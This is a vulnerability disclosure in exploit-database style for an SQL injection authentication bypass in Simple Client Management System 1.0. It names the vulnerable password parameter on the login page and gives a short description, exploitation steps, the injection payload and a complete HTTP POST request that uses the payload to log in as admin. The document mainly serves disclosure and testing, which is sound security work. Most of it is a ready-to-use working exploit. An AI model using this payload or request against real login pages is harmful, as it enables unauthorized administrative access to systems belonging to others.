Simple Client Management System 1.0 - SQLi (Authentication Bypass)

# Exploit Title: Simple Client Management System 1.0 - SQLi (Authentication Bypass)
# Exploit Author: Sentinal920
# Date: 5-11-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cms.zip
# Version: 1.0
# Tested on: Kali Linux
# Vulnerable page: Login
# Vulnerable Parameter: "password"


Technical description:
An SQL Injection vulnerability exists in the Simple Client Management
System. An attacker can leverage the vulnerable "password" parameter
in the "Login.php" web page to authenticate as an admin user.

Steps to exploit:
1) Navigate to http://localhost/cms/admin/login.php
2) Set username as admin and insert your payload in the password parameter

Proof of concept (Poc):
The following payload inside password will allow you to login into the
web server as admin
admin'or'1'%3D'1

---

POST /cms/classes/Login.php?f=login HTTP/1.1
Host: localhost
Content-Length: 51
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/cms/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn
Connection: close

username=admin'or'1'%3D'1&password=admin'or'1'%3D'1

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